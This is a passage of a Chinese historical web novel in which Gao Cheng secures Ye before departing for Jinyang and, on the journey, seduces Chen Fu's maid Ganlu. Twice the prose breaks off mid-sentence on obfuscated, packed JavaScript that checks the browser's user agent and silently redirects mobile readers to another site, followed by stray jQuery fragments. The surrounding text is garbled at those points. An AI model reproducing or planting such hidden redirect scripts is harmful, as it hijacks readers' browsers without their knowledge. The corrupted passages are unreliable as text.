陈扶正将几卷书册放入匣中,闻言手上一滞,却并未抬眼,只淡道:“此番带净瓶去。她是并州人,正好顺路归省。” “只能……带一人么?” 陈扶深吸一气,还是耐心解释道,“高澄并未限制,然我此行本是随扈,上官轻车简从,未携婢女,我一女史反带双婢随行,可妥当?” 甘露讷讷道:“奴婢多嘴了。只是……只是想着奴婢略通医理,仙主畏寒、脾胃也弱,换了地方,若水土不服,有个头疼脑热,奴婢在旁,也好及时照应……” 她语气恳切,关切之情倒不似作伪。 净瓶听着,认真思忖片刻,笑道:“甘露说得是呀。仙主玉体康健最是要紧!奴婢想回老家,待仙主走后府内无事,自可雇车前往,还是让甘露随行照料,更为稳妥。” 陈扶停下手中活计,目光沉沉落在甘露脸上,“你真的想去?” 甘露被她看得心头发紧,那目光仿佛能穿透皮囊,直窥她心底那点不可为外人道的隐秘。她不敢与陈扶对视,将头埋低,声音细若蚊蚋:“奴婢……想随侍仙主左右。” 静默片刻后,陈扶道:“好。你去收拾吧。” 李府牛车停在东柏堂外,陈扶将行装与甘露一并交予迎上来的阿古安置,自己独自步入。 外间候着不少官员,个个屏息凝神,满面肃然。 正堂内高澄靠着隐囊,把玩着镇尺,唇边噙着三分笑意,对崔季舒、陈善藏道:“宫中之事,须臾不可轻忽,事无巨细,皆需报与尚书左仆射知晓。另增设笔录,详记宫中所有往来人员,定期密送中书令。” “臣等谨遵大将军令。” “去吧,传中书令。” 高澄瞥眼来人,语气加重几分,“你即日移署中书监,与晋阳所有文书传递,皆由你亲自掌管,勿要假手他人。宫中及各府动向,需随时密报,不得隐瞒有误。” 新擢升的中书令李丞切声道:“丞绝不负世子重托!” 第三波是崔暹、宋游道、高隆之等三省重臣。 高澄声调转为沉凝,“国事维艰,诸君当各安其位。日常政务依常例处置,若遇重大决策,当需呈报李丞,待我亲决。” 最后进的是廷尉卿陆操。 “我离邺期间,百官动向,你给我牢牢盯住了。非常之时,当行非常之法,若有异动者——先办后奏!” 待陆操应诺而出,陈扶方从门廊处悄步上前,于其侧跪坐,轻问道:“内政之权已尽所托,却不知统辖军政的大将军之权,领禁军、京畿兵马的左右、京畿大都督之权?” 高澄揉揉眉心,“依大王令,已委于高洋与段韶共掌。” 陈扶沉吟片刻,缓言:“太原公与段将军,智勇兼备,自是稳妥。不过……稚驹忽想起一人。” “何人?” “永安公高浚,平素最是敬爱大将军。大将军春猎遇险,他更是不顾性命相救。何不让他也协理京畿兵马?一则,万一太原公与段将军政见相左,永安公可在其中转圜;二则,即便二人同心协力,难免有顾及不到的细微之处。永安公城门校尉做得殊为谨慎,必会察之,及时报与二人知晓。” “那小子确是成长不少。” 陈扶抬手轻按他肩头,凑他耳畔,意味深长道,“此去前路不明,归期难料,时日一长,变数自生。段将军与太原公承得是大王之命,感念的自然也是大王的重用之恩。若大将军能对永安公委以重任,他必会铭感知遇,从此眼中只认大将军一人。如此,邺城便多了一双……绝对忠诚的眼睛。” 高澄默了片刻,低笑起来,握住肩上的手,嗤道:“人不大,心眼倒多。” 夜色如墨,将邺城笼罩其中,高澄已换上一身乌锤甲,领段韶、高洋、高浚,在亲卫铁骑簇拥之下,驰入京畿大营。 值夜兵士见大将军亲至,慌忙整队行礼。 高澄勒住马缰,扫过阵列,道句“将士们辛苦!”,策马直驱中军大帐。早有将领闻讯迎出,高澄翻身下马,将马鞭抛给亲卫,对迎来的将领沉声道:“点起火把,召集各营幢主以上军官。” 不过半炷香工夫,将领们顶盔贯甲,肃立帐前,火把彻亮,映着一张张或凝重或疑惑的面孔。 高澄立于帐前,段韶、高洋、高浚三人按剑立于其后。 “诸位!”只一声,便压下了所有细微嘈杂,“此刻起,京畿内外一切军务,”他侧身,将段韶、高洋让至身前,“由段韶将军、领军将军全权节度!尔等见二人,如见我高澄本人!” “谨遵大将军令!” 他缓缓扫过众将,给予他们消化这重大消息的时间, “自明日子时起,任何人——记住,是任何人!无论黄门内侍,还是宫中禁卫长官,欲调动一兵一卒,或派遣信使出入,皆需同时持有段将军令符,与领军将军之手令!二者缺一,视同谋逆!” 此令一出,众将心中皆是一凛。 这分明是以双重印信,彻底隔绝了宫禁卫戍与京畿兵马勾连的可能。 高澄不再多看他们,对段韶道:“孝先,你留此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691668|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,与诸将熟悉京畿军务。” 翻身上马,带着高洋、高浚,又如一阵黑色旋风,扑向各处城防要地。 每到一处,他并不多言,只让高洋或高浚出面传达指令,自己则按辔徐行,检视防务细节,偶尔会停下,拍拍某个老卒的肩膀,问一句“冷不冷?”,或是扶正一年轻兵士歪斜的头盔。 一个时辰后,一行人马驰往京畿大都督府。 节堂之内,烛火通明,段韶已领着掌管城门、坊市与宫城外围防务的各校尉、直荡都督等中级军官齐聚于此,气氛比大营更为凝重肃杀。 高澄按剑坐于主位,没有立刻说话,用那双利眸,一一扫着堂下每一张面孔。 “在座的,皆是我高澄之心腹,是从晋阳带出来的老弟兄,是历经考验,忠勇可嘉之辈。”他声音不高,却带着金铁交鸣般的质感,“即刻起,尔等待段韶将军、领军将军高洋、卫将军高浚,当如待我高澄!” “末将遵令!” 他稍作停顿,目光转向其中几人: “元景安、皮景和。” “末将在!”两人出列抱拳。此二人素以骑射/精湛、气度沉稳著称,常在南梁使者面前展示北朝武风,颇受赞誉。 “乾门、上春门防务,由你二人接掌。” “末将领命!” ...... 几处宫城要害门户的守将,皆换成了绝对可靠的家将部曲。 高澄身体微微前倾,目光如刀,刮过新领要职、负责各门的诸校尉: “尔等,依永安公之令,给我守好邺城每一处门户!我要的,是一只不该进的蚊子,都飞不进来!一只不该出的苍蝇,都飞不出去!听明白了?” “末将明白!”众将官声浪犹如雷霆。 高澄起身,深深看了一眼这群即将为他镇守邺城的将领,“望诸将,恪尽职守,勿负吾托,待本将军归来,定不负汝等!” “末将等必不负世子重托!” 次日卯时初刻,邺宫太极殿前。 正是每日宫戍换防的时辰,然今日之气象,却迥异寻常。 但见新换的一队侍卫,并另增的一队禁军,皆是虎背熊腰的锐士。手按刀柄,目如鹰隼,依着刁斗令旗穿梭往来,沉浑步伐踏在青石板上,声如密鼓,震得宫墙上宿鸟惊飞。 明晃晃刀枪剑戟,在冬日熹微晨光下,泛着比霜雪更冷的寒芒,弥漫着一股无形杀气,压得人喘不过气来。 文武百官候在殿内,见此阵仗,面面相觑,却无一人敢出声议论。 忽听得宫门净鞭响过,高澄犀簪束发,身着绛紫朝服,外罩玄色细鳞甲,脚踏乌皮六合靴,不疾不徐穿过森严仪仗,进了殿内。 那仙家宝相混着魔星煞气,唇角噙着丝若有似无笑意,锐目扫过丹墀下的百官,凡被他目光掠过之人,无不脊背生寒,皆泥塑木雕般,大气也不敢喘一口。 甲叶铿锵声略过几位大魏老臣时,格外慢了些,几人脸上红白交替,两股战战,纷纷低头避让。 高澄一步步踏上白玉阶,两侧执戟卫士本为天子仪仗,却齐刷刷向他抱拳行礼。 御座上的孝静帝元善见僵直着身子,冕旒下面容苍白,手指在袖中紧紧蜷缩。高澄浑当未见,依臣礼下拜,面带笑意,声音却无丝毫温度:“陛下,晋阳有军务需处置,臣即刻前往。” 他直起身,目光似不经意般扫过殿中持戟的卫士,复转回眼前人脸上, “国之政事,自有尚书左仆射总监,及三省诸公循旧章而为;兴讼断狱,廷尉卿会依《麟趾格》秉公办理;邺城防务,段将军忠勤持重,可保万全。唯望陛下善保龙体,切勿过度操劳——” 语至此处,他微微前倾,声音压低, “若觉宫中烦闷,或有何需,可随时告知侍郎崔季舒、陈善藏,有他二人照料陛下,臣便是远在晋阳,亦不致有疏忽怠慢之罪。” 搭在龙椅扶手上的指节已然发白,孝静帝喉结滚动,勉强扯出笑意, “大将军……冬日出行劳苦,太行道险,当一路珍重,不必挂心……挂心朕。” 高澄笑意更深,行礼再拜,“谢陛下体恤,臣,告退。” 卯时三刻,广德门外铁甲映日,战马喷白。 五百披玄甲、配环首刀的锐烈轻骑,被一辆青篷马车隔开,分为前后两阵,队首的卫将军斛律光高坐枣骝马上,目光如炬。 段韶、高洋、高浚、高淹四人候立队尾,频频望向城内。 忽见烟尘微起,一道白影破开晨雾疾驰而来,照夜玉狮子四蹄腾空,银鬃飞扬,恍若银龙掠地,转眼已至众前。 高澄勒缰下马,目光首落段韶,沉声道: “孝先兄。大王既命你镇守邺城,便是将此半壁江山托付于你,将我高氏满门的身家性命交予你手中了!”重重抱拳,“我代晋阳霸府上下,在此拜谢!” 段韶虎目迸出精光,单膝跪地,抱拳还礼,“大王、大将军重托,韶便是肝脑涂地,必保邺城万全!若有一丝闪失——”他猛地抬头,“韶刎颈以谢!” 高澄将人扶起,托着其臂的手紧紧一握,方才松手,转而凝视高洋。 这个素日沉默寡言的弟弟此刻亦眸光沉静,看不出半分波澜。 “子进,阿耶信你之能,我亦重你之才。邺城政务千头万绪,即日起皆系于你一身。若有半分……” 高洋深深一揖,声沉似铁:“阿兄宽心北上,弟必不教政务有丝毫差池!” 看向双目通红、满面泪痕的高浚时,高澄面色一柔,将弟弟揽入怀中,轻笑,“顶天立地的男儿,哪来这么多金珠子?好了,好生辅佐你二兄与段将军,守住家业。” 松开他,转而一拍高淹肩头,“你小子也是!” “子邃明白。” 不再多言,腾身跨上白龙驹,缰绳一抖,驱前与斛律光并立于队阵最前。 回首最后望一眼邺城轮廓,接过刘桃枝递上的兜鍪戴上,右手抬起,凌空一挥。 “出发!” 33.第33章 四匹快马拖着轻便戎车,随队阵疾驰。 为了御寒,车厢四壁都蒙了厚厚的毡子,密不透风,只留一扇小窗,透进一丝活气。 车内的长条漆案上,冷硬的胡饼与肉干互相磕碰着,窸窸窣窣的,两只水囊在案角滚来滚去,没个安生。 甘露拨了拨座下的火炉,又取了醒神香点燃,小心地放进旁边的博山炉里。看着那青烟一丝丝地从孔隙里袅袅升起来,才抬眼看向对面。 陈扶支着手望着窗外,那侧影像是剪下来贴在车厢里的一幅画,静静地。 车窗透进来清冷天光,映着一片冬日原野。 枯黄草叶覆着白霜,像一条银带子,急急向后退去。远处,永济渠的漕船静悄悄泊在码头,岸边的芦苇上挂着冰晶,在晨光底下,偶尔一闪,像是谁忍回去的一滴泪。 甘露终是轻声开了口:“仙主可会觉着......甘露不懂事?” 陈扶仍望着窗外,“怎会?”她伸手,稳稳地接住了余光里被颠落的水囊,“你不是为我身体考量么?” 这话非但没叫她安心,反像一根针,细细地扎在心口。 约莫一个时辰后,颠簸停了,队伍在磁县驿亭暂作休整,骑兵们纷纷下马,喂料,检查鞍具,一切都有条不紊。 马蹄声由远及近,白龙驹被勒停在车窗旁。 陈扶将车窗掀开,高澄骑在神骏之上,一身冷气,他微微俯下身,目光先在陈扶身上打了个转,手臂一探,便拿过了陈扶手里的水囊,仰头灌了几口。 喉结滚动,几滴清液顺着那利落下颌滑下来,没入衣领里。 他将水囊塞回,声音带着纵马疾驰后的些许沙哑,“感觉如何?受得住么?” 陈扶笑了笑,实话实说:“挺颠的。” “这就觉得颠了?那进了山,又该何如?” 他视线扫过漆案上那块只被掰下一小角、几乎没动的胡饼,“再忍忍,到了临水,好好吃一顿。”目光一转,落在了甘露身上,盯看几息,忽地对她挑眉一笑,像阳光在刀锋上一闪。 “照顾好你主子,”眸光在她滚烫的脸上一抚,又补了句,“还有你自己。” 话落,缰绳一抖,人马便向前驰去了,只留下一丝香冷的凉风。 队伍再次开拔。 日头渐至中天,光却仍清冷,透过薄云,在不远处的夯土城墙上投下薄薄一片影子。 城门处零星有几个百姓探头张望,见着这军容整肃的骑兵队伍,又慌忙将头缩了回去。队伍并未进城,只在官道旁的驿站前歇脚。驿站的烟囱升起几缕炊烟,软软地缠在冷空气里。兵士们井然有序地分批行动,有的进驿站用饭,有的守在马槽前。 刘桃枝来到车窗外,“禀女史,已到临水县。大将军吩咐,女眷不便与将士同食,稍后会送饭食过来。” 车厢里,小火炉烧得正旺,烘得人脸上发烫。 车门忽地被拉开,高澄弯腰钻了进来,挨着甘露坐下。她下意识往旁挪了半寸,想起自己的本分,又探手去取水囊,稍一犹疑,终是拿起陈扶那只,递了过去。 高澄卸下软甲,接过水囊喝了两口,半眯着眼瞥身侧人,用指尖点了点肩头。 犹疑了下,伸手按上男人的肩膀,她研究过《黄帝岐伯按摩经》,指上是下过功夫的,从肩颈到背脊,力道由轻渐重,揉捏得颇有章法。 “比那些糙汉子强多了。”高澄舒服地喟叹一声,“这般会伺候,到了晋阳,要常劳烦你了。” 那话在这狭小暖燥的车厢里,显得格外暧昧,甘露本能地看向陈扶,陈扶正望着窗外,恍若未闻。 车门被敲响,兵士递进膳食。 案上渐渐摆满:金黄粟米饼蒸得松软,三碗牛肉汤冒着腾腾的热气,一盘河虾,另有酱香汁浓的奥肉片,并三副碗筷。 甘露给高澄剥了两只虾,见他不动筷,正要转而给陈扶,却听对方道:“你吃饭罢,别放凉了。” 高澄掰开饼子泡进汤里,捞起来大大地吃了一口,这本是糙汉子的吃法,由他做来,却反倒添了几分落拓的潇洒,叫人讨厌不起来。 “午后便要进山了。”他目光落在对面,“山路难行,马匹受不了,需得骑乘、牵引交替。” 陈扶放下汤匙,轻声笑回:“要么曹操会写‘北上太行山,艰哉何巍巍。羊肠坂诘屈,车轮为之摧。’” 高澄一笑,“什么都知道啊?那可知我们要走的是太行哪一陉?" “滏口陉。”陈扶应道,“此乃太行八陉之四,自古便是兵家必争之地。长平之战,秦军便是经此险要而围赵军;曹操亦是取道滏口大破袁尚;近者,尔朱荣擒葛荣,不就是在此设伏?” “我家稚驹博古通今,”高澄夹起片奥肉递到她唇边,“合该奖赏。” 甘露不由怔住了,那浊口之物仙主平日是不会主动去碰的,大将军想是在她生辰时记住了这习惯,才直接送至了嘴边。 原来大将军竟这般疼仙主。 撤下残炙后,高澄便倚着车壁闭目养神起来。 不过片刻,刘桃枝轻叩窗棂,奉上两个油纸包,“县里买的,临水的饴糖比邺城的甜。” 高澄掀开眼帘,“少用些,当心牙疼。”操心着对面,手上捏过一包,塞进了甘露手里。 她默默垂下头,指尖掐进油纸里,那片土黄渐渐失焦……待恍然回神,车驾已重新启动,竟不知高澄是何时出去的。 惶然抬首,正对上陈扶幽深的眸光,被那眼神一望,只觉自己内里被看了个透彻分明。 脑子一热,忍不住将方才盘桓心头的问题,问出了口:“虽说……大将军以为仙主是孩子……但仙主的灵,原不是孩子,他这般疼爱你,仙主会不会……对他动心?” 陈扶眸光微动,似有万千思绪在眼底翻涌,却又在瞬息之间归于沉寂。 “有此疑问,只是因他疼我?” “除了疼你,大将军他……还生就一副极好颜色,谈笑间自有气度,”她声音渐低,耳根却不受控灼烧起来,“与这样男子日日一处,仙主……” “记得我常说的那句话吗?人,最爱以己度人。”陈扶收住声,意味深长地看着她。 豁出去般,那日夜压抑着、见不得光的心事,决堤而出:“是,奴婢是……倾心于他……奴婢有罪,对不起仙主……” “爱慕强者,是人之常情,何罪之有?” “奴婢不配。” “此言就更错了。你不也是神女转世?你们的灵,原是一样贵重的。” 陈扶面上没有一丝一毫的讽刺之意,甘露彻底不懂了。 仙主既不觉她有错,也不觉她配不上高澄,那为何……为何她总能从仙主不经意的言语,看似随意的提点中,隐隐感觉,仙主是不愿看见她倾慕高澄的? 车驾再次停驻。 窗外传来滏阳河奔流的哗哗声,夹杂着冰凌相撞的碎玉声响,戍卒在隘口两侧肃立,风呼啸而过,吹得车帷猎猎作响,远处石窟工地上,工匠们蜷在岩壁下,躲避着山风。 是滏口到了。 高澄策马来到窗外,伸手指了指陈扶手边的白狐裘,眉峰微挑,那姿态,活像雄鹰在巡视自己领地时,仍不忘用羽翼为巢中的雏鸟挡一挡风寒。 陈扶冲他弯起眉眼,也指了指他身上,做了个披衣的手势,高澄下颌微扬,算是应了。 这般互相疼惜,落在甘露眼里,似二人合织了一张细密柔韧的网,将两人独笼其中,外人水泼不进,宛如经年相伴的……红尘知己。 然而,当大将军的身影远去,陈扶再转向她时,那双黑眸里的情绪已散得干干净净,无波无澜,只剩下深不见底的平静。 仿佛方才,不过是上台演了一折歌舞戏。 旧惑未解,又添新疑。 陈扶看穿了她般,开口道:“他不止疼爱下属小辈,若瞧上了你,也会疼你的。” “时新的绫罗,罕见的珠玉,凡是女子会心动之物件,他随手赏赐,从不吝啬。他会将你安置在精致院落里,使奴唤婢,让你衣食无忧。若你家中父兄得力,他自会提携,保你一族前程;若你遇到不可解的麻烦,他一句话,便能替你料理得干干净净。他还是一个,懂得让女子快乐的情人……” 循着陈扶那娓娓轻音,她似已看见那双凤眸含情凝视自己,听见那慵懒嗓音在耳边低语,感觉到那握惯了马缰与朱笔的手,旖旎抚过她,带来令人战栗的欢愉…… 窗外,两侧山崖渐渐收紧,怪石嶙峋,草木萧疏,陈扶的话锋,一如这太行山道,陡然一转。 “只是,便如他不会嫌征服的疆土广阔,只恨不能尽收囊中,对女人,亦是一般道理。” “这世间,总有新蕊初绽的佳人,等待他去采撷;更有数不尽的如花美眷,期盼他的垂怜。今日他能因你新鲜宠爱你,明日,这份宠爱,便能被更新鲜的颜色夺去。” “那时,你若贪心,强求那已然稀薄的恩宠,”陈扶的声音冷澈,如这山涧潜流的冰水,“在他眼中,便是失了分寸,不懂进退。一句漫不经心的凉薄话语,便能将你一颗心戳得千疮百孔,体无完肤。” 甘露恍惚间,好似真已置身于那深宅后院,日日计算他多久未曾踏足自己房门,夜夜揣测着他正歇在何方温柔乡里。 手指紧紧绞住了衣带,那为了此行特意穿上的上好越锦,几乎要被她扣出丝来。 “结局差些,红颜未老恩先断;结局好些,生一儿半女,于某处院落教子;亦或为你再择夫君,然已历过心折之人,便有新人,又如何能安然余生?” 窗外,朔风在石壁间呼啸,声若苍龙哀吟,那风声灌入耳中,也灌入心头的幻梦,一阵阵地冷。 “我为何不愿见你沉溺?” “因我知道,你不是元静仪,你对他是倾心慕艾的;你亦非陈氏,你骨子里受不得轻慢,是会因两情难同而心生怨怼的。” “我只是,不忍你灵魂受苦罢了。” 山风寻着缝隙钻入车厢,刺入骨中,甘露缓缓松开已被揉搓得不成样子的衣带,颓然靠在车壁上。 滏口陉路面结了薄霜,马蹄时有打滑,高澄看眼天色,铅灰云层低低压着,沉得似要坠下来。他翻身下马,下令全军下马牵行,自己则钻进了车里。 扫眼两人,陈扶依旧那副静置模样,正凝望窗外,甘露却面色灰败,看他的眼神,复杂得如这太行山道。 “聊什么呢?” 叮叮当当的凿石声,回荡在空旷的山谷。工匠悬在峭壁间,执着铁钎锤头,雕着巨大佛像,有的刚显轮廓,有的已低垂眉眼。 陈扶转回视线,笑回:“在聊神仙修得是什么。” “自是修长生不老。” “大将军英雄豪杰,该有此解,有绵延无尽寿数,便可建不世之功业。” “不然呢?稚驹觉着,神仙修得是什么?” “稚驹浅见,神仙修得,”回的是他,看得却是他身侧之人,“大抵是妄念止息,了了分明。” 高澄品了品这话,想起她平日气魄夺人的诗句,调侃道,“只当我家稚驹是个小王猛,没想到,还是个小圣人。” 陈扶笑笑,“庄子云:是故内圣外王之道,暗而不明,郁而不发。内圣与外王,本是一理。大将军行霸道,施峻法,本也是为终结乱世,救万民于水火,不正是出于圣人之心嘛?” 她何以总能搔到他内心最隐秘的痒处,那种既被理解,又被引领的快感,再度漫上心头,他畅快一笑,豪气道:“待天下大定,也给你在此处造个像,让你这‘小圣人’,也受受香火。” “定有那一日。不过,稚驹就不造佛菩萨之像了,就在大将军的像旁边,雕个捧卷童女便好。” “童女?”高澄目光一转,落在一直低着头的甘露身上,“不该是她么?”说着,极为自然地伸出手,指尖掠过她颊边,将一缕散落的鬓发轻勾至耳后。 这突如其来的亲昵激得甘露浑身一抖,下意识抬起脸回望他。 前几回不曾好好瞧她,眼下无事,就着窗外天光,高澄细品鉴起来。 是张秀气的脸,眉眼纤细,带着几分弱质风流,虽是婢女,眉目间却萦绕着一股书卷清气,与他那些娇妾美姬皆是不同。 高澄从鼻腔里发出一声“嗯”,指尖又滑回那脸颊,“还是个俏丽的童女。” 待那脸颊飞上红霞,连耳根都染透了,他才满意地笑了笑,收回手,不再逗弄她。 忽有细碎冰晶叩击窗棂,发出沙沙轻响。 高澄慵然抬眼,天色已彻底沉黯,无数雪沫自穹窿深处筛落,初时疏疏落落,顷刻之间便宛若飞絮,织成一张铺天盖地素网,将整个太行山脉都笼入茫茫白雾之中。 陈扶打开车窗,眼中倏地鲜活雀跃,她倾身向前,几乎将半个身子探出车窗,伸出一只白皙的手去接那漫天飞舞的琼瑶。 高澄原本对北国常见的风雪并无兴致,瞥见陈扶那孩童般的稀罕劲儿,不由便想知晓,这有什么好让她开怀。 甘露坐在窗边,正被陈扶引得也凝神望雪,忽觉身后男人的气息笼罩下来。 不等她反应,高澄已将她整个人拢在了怀中,背脊紧贴着他坚实胸膛,一股清冽冷香霸道地钻入她的鼻息,与外头风雪带来的冰凉寒意交织在一起,亲密得如同将她圈作私有。 他下颌轻蹭过她的发顶,那只环着她、伸向窗外的手,矜贵有力,无数雪片如扑火的飞蛾,争先恐后地撞入他掌心,融化成一点冰冷的水渍,倏忽不见。 抵达涉县时,天已墨黑,雪尚未停。 县长早已领着属官迎候,晚膳设在县里最大的食肆里,安排得极尽周到。 每张食案都摆满了。蒸饼、胡饼与浓稠粟粥,配着腌菜、七菹、干菜;胡炮肉,羊羹,兔臛,熏肉,还有葵菜、蔓菁、萝卜等窖藏菜蔬,核桃、柿子、黑枣等当地特产。 因有当地的仆人伺候,甘露便也挨着陈扶坐了,见陈扶看那本地核桃,正欲动手替她剥,一只大手已取走一颗,男人曲指一捏,一瓣果仁被递至陈扶唇边。 饭毕,三人被引至一处独立院落,衙役在外看守,高澄的亲兵亦轮流值守。 正屋分正厅与两侧内寝,高澄跟着走进陈扶那间,门窗皆糊着厚实麻纸,门框挂着厚帘抵挡寒风,墙壁甚至涂了椒泥用以保温,可见用心。 砖砌的火炕已被仆役提前烧炭加热,床榻围着落地的厚帐,炕上铺了三层厚褥,高澄伸手按了按那床铺,“这褥可以吗?” 陈扶温言回道:“很好了。” 见铜制火盆置于床侧,高澄对甘露道:“门窗别封太死。” 又叮嘱了一句给陈扶备着水,火炕太干,才道:“早些歇吧,我和兵士们喝点,慰劳一下。” 待他离开,二人到院子里转了一圈,发现竟还有间温室,引入热水,可供沐浴。 偌大的浴桶足以容纳两人,热水没颈,舒解着满身疲乏。 甘露的目光掠过水面上漂着的几片澡豆香末,落在闭眼靠着桶壁的陈扶身上,望着她,又似透过她,望向那个为她剥核桃的人…… 正里,甘露为陈扶轻轻掩上房门,将一壶醒酒茶置于炉火旁煨着。 窗外北风卷着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702848|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎雪,打得窗纸簌簌作响,如同无数细小的爪子挠刮。 厅门被推开,挟进一股凛冽寒气与淡淡酒气。 他的玄色大氅上落满了雪,如同缀了点点银星,愈发衬得他面容俊逸,眉目如画。他解下氅衣随手扔在一旁,露出里面象征身份的紫色朝袍。 凤目看过来时,似要将人魂魄也吸进去。 她慌忙别过眼,将厅门关紧,去端那温得刚好的茶。 指尖掠过她手背,捏盏离去,只留下酥麻余韵在她皮肤下窜动。 那吞咽的声音在这寂静厅堂里被放得很大,他已喝完几息,她才回神,接过空盏走回炉边,正欲再添,猝不及防地,带着凉意的大手自身后揽过,将她连人带手圈进了怀里,一只手已探入衣襟,熟练而直接。 “大将军……” “别动。”他脸颊蹭了蹭她颈侧,声音低沉喑哑。 她便真就,一动也不能动了。 “大将军……把奴当什么?” 他低低笑了,灼热的唇蹭过她耳后,“当女人。” 她鼓起勇气追问,“只供枕席之乐的女人?” 他漫不经心应着,“总要给男人的。与其给无权无势、不知疼人的毛头小子,不如给我。” 在酒气、冷香与男性气息的包裹中,她如同被抽去了筋骨,一点点软了下来,他却停下动作,沉冷低语,“你知道的,我要的,是心甘情愿。” 她无言地垂下了眼睫。 无言,便是默许。 他不再多问,将她打横抱起,走向另一侧的内室。 红烛燃得正烈,一只飞蛾循着暖,扑在那火焰之上。 微凉空气触及肌肤,激起细小颗粒,他炽热的目光巡梭着,最终定在一处,她羞得无地自容,侧过脸,无法直面那过于直白的审视目光。 “倒是比脸还俏丽些。” 骤然袭来的剧痛,让她忍不住痛呼出声。 “痛过,便会爽了……凡事皆然。” 他又近乎呓语般补了一句,“玉璧新败,晋阳多事……你也算,与我共患难了。” 这话如同最有效的麻药,令她彻底放弃了思考与抵抗。 烛火摇曳,他的眉眼忽明忽暗,她贪恋地望着,一滴泪毫无预兆地从眼尾滑落,她没有拭,只任由泪珠子一串接一串地淌…… 室内还残留着暧昧的麝香气息。 高澄慵懒地靠在炕沿,对她道:“回去睡吧,仔细着凉。” 甘露点点头,她也不愿陈扶察觉到方才的风流韵事,起身默默穿戴齐整,手指微颤地系好衣带。 迟疑片刻,轻声问:“大将军……何时会腻?” “这种事……永远也做不腻。” 她是问人,但终究什么也没再说,悄无声息地出了门。 高澄在原地静坐了片刻,身上黏腻,便也起身,去正厅取了大氅,想去温室冲洗一番。 推开厅门,脚步倏地顿住。 陈扶不知何时站在了檐下,几乎与廊柱的暗影融为一体。 这是他第一次见她披散着头发的模样,如缎黑发直垂腰际,那双眼睛黑得如同最深的夜,与她白皙的肌肤、浅淡的唇色形成了极致的对比,让她整个人呈现出一种脆弱的精致。 无端想起第一次见她时的样子,明明是绫罗娇养的贵女,他却觉得她可可怜怜。 而此刻,这股心疼混杂了一种莫名的心虚,方才与甘露……声音可大?她没听见吧? 无妨,她于此等男女之事未曾开蒙,甘露也会找个理由搪塞过去。 如此一想,坦然举步走了过去。 “怎么醒了?可是想家了?” 陈扶看向来人。 他刚从一场酣畅征伐中歇下来,声音里还带着纵情后的微哑,那双凤眸蒙着一层湿漉漉的雾气,嘴角噙着的笑意,是征服了什么的、懒洋洋的得意。 “没有,只是被雪吵醒了。” 他走到近前,摸了一下她露在狐裘外的手,眉头微蹙,将她一双手完全裹入掌心,揣进他怀里暖着。 “怎么也不带个手炉?” 她任由他暖着,目光静静落回庭中。 雪片儿一团团,一簇簇,往下掉,四下里一点声息也无,望着阶前愈积愈厚的雪,她忽而轻声道:“皑如山上雪,皎若云间月。” 高澄虽非拘泥礼法的君子,但也六艺皆通,岂会不知卓文君的《白头吟》,是对男子用情不专的决绝之诗。 心头莫名掠过一丝异样,像被一根极细的丝线勒了一下,不痛,却缠得他不舒服。 “这诗不好。” “哪里不好?不是应景的雪与月么?” 他被问得一噎。 前两句确实只是写景,而后两句‘闻君有两意,故来相决绝’,她是他的臣属,是他从小看顾的小辈,他不该、更不必往那后两句联想。思路还未及转,另一个更荒谬的念头掠过——便是真论起来,他何止‘两’意? 当真没必要提起。 他用指尖摩挲着她已渐渐回暖的手背,笑道:“不如你自写之气象。” 她极淡地笑了一下,那笑意刚起,便已消散在呵出的白气里。 “好,那稚驹自写一首。”她略一沉吟,望着漫天飞雪,轻声吟道, “玉龙横朔野,琼峦镇燕幽。 暂借今宵暖,莫期永夜留。” “大将军觉得如何?” 高澄笑意僵住。 前句确是她之气象,可后句之讽,与那‘闻君有两意,故来相决绝’,有何本质区别? 她故意的? 难道……她知晓方才他与甘露在…… 是了,她如此聪颖,即便无人与她分说男女之事,或许也能从蛛丝马迹中窥得一二…… 作此等幽怨之诗,是为那甘露不平?还是……她不仅懂男女之事,还对他…… 陈扶神色自若,轻轻一叹,“涉县的温室真舒服,被窝也很温暖,可惜只能睡一晚,不能永远留下。” 一瞬安静,高澄齿间溢出一声嗤笑,紧绷肩背松弛下来。 她不过在说这涉县虽好,终究是暂歇之地,而他这颗在风月里浸染已久的心,却瞬间拐入歧途,生出那般不堪的揣测…… 陈扶望了他一眼,转而问道:“大将军可困么?” 高澄其实倦意已如潮水般漫上四肢百骸,兼之身上尚存黏腻,只想快些沐浴安寝。然而见她立在廊下身影单薄,又觉此刻若独自去睡,像是抛下了她一般。 他唇角勾起抹笑,低声道:“倦意么……方才确是耗了些精神,此刻反倒……‘倦意全无’。”那点事后调侃藏得巧妙,她既不懂,自也会往陪将士喝酒之处想。 陈扶眼底掠过一丝了然,如雪花落入深潭,转瞬无踪。 顺着他的话,语气平缓道:“既思绪格外‘清明’,不若商讨一下正事,大将军到晋阳,面对一众勋贵元老的首面,该当如何宾礼时秀,驱驾群雄,方能震慑人心、初掌权柄?” 她所言,是关乎他霸业根基的紧要之事,高澄的理智深知,此刻该凝神细听,与他的‘小王猛’咨议要事,然而,他的思绪却不自主地被她说话时微微颤动的长睫吸引,被她呼出的那缕若有若无的白气牵走。 他的小马儿,对他既忠心又依赖,所有聪慧尽数为他所用,她是如此地近,近到已然在他掌中。 